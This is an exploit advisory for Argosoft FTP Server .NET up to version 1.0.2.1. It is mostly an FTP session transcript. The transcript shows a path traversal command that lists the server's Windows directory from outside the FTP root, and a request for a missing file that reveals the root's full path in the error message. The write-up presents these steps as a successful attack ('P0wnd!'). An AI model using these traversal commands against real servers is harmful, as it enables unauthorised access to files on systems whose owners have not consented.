Argosoft FTP Server .NET 1.0.2.1 Path Traversal

`  
  
# Exploit Title: Argosoft FTP SERVER .NET Version <= 1.0.2.1 Path Traversal  
& Full Path Disclosure.  
# Date: 23/04/10  
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il  
# Software Link: http://www.argosoft.com/rootpages/FtpServerNet/Default.aspx|  
http://www.argosoft.com/rootpages/Download.aspx  
# Version: Version <= 1.0.2.1  
# Tested on: .NET  
#  
#  
##[Path traversal:]  
The attacker can break his "root-jail" and gain access to the other local  
files on the server, E.g:  
#  
ftp> pwd  
257 "/" is working directory //[i'm  
standing on the ftp root directory]  
ftp> dir  
200 Port command successful  
150 Opening ASCII data connection  
drw-r--r-- 1 user group 0 Apr 26 18:29 tesstdir  
-rw-r--r-- 1 user group 0 Apr 26 18:29 testfile.txt  
226 Transfer complete  
ftp: 134 bytes received in 0.01Seconds 22.33Kbytes/sec.  
ftp> cd ..  
250 Requested file action OK, completed  
ftp> pwd  
257 "/" is working directory //[i'm  
still there...]  
ftp> dir ..\windows\  
200 Port command successful  
150 Opening ASCII data connection  
drw-r--r-- 1 user group 0 Nov 02 2006 addins  
drw-r--r-- 1 user group 0 Feb 25 11:24 AppPatch  
-rw-r--r-- 1 user group 1069 Apr 07 11:54 ARPR.INI  
drw-r--r-- 1 user group 0 Mar 20 19:29 assembly  
.  
.  
.  
.  
drw-r--r-- 1 user group 0 Nov 02 2006 system  
-rw-r--r-- 1 user group 219 Sep 18 2006 system.ini  
drw-r--r-- 1 user group 0 Apr 26 15:59 System32  
.  
.  
.  
.  
226 Transfer complete  
ftp: 9584 bytes received in 0.07Seconds 129.51Kbytes/sec.  
ftp> :)  
//[P0wnd! :)]  
#  
#  
##[Full Path Disclosure:]  
The attacker can get the full-path to his root directory by trying to GET  
file that don't exist, E.g:  
#  
ftp> get  
Remote file: none_exist_file  
Local file: none_exist_file  
200 Port command successful  
550 Requested file not found c:\server\none_exist_file //[In the  
Error we can see the full-path to the ftp root directory]  
#  
#  
[e0f]  
  
  
  
`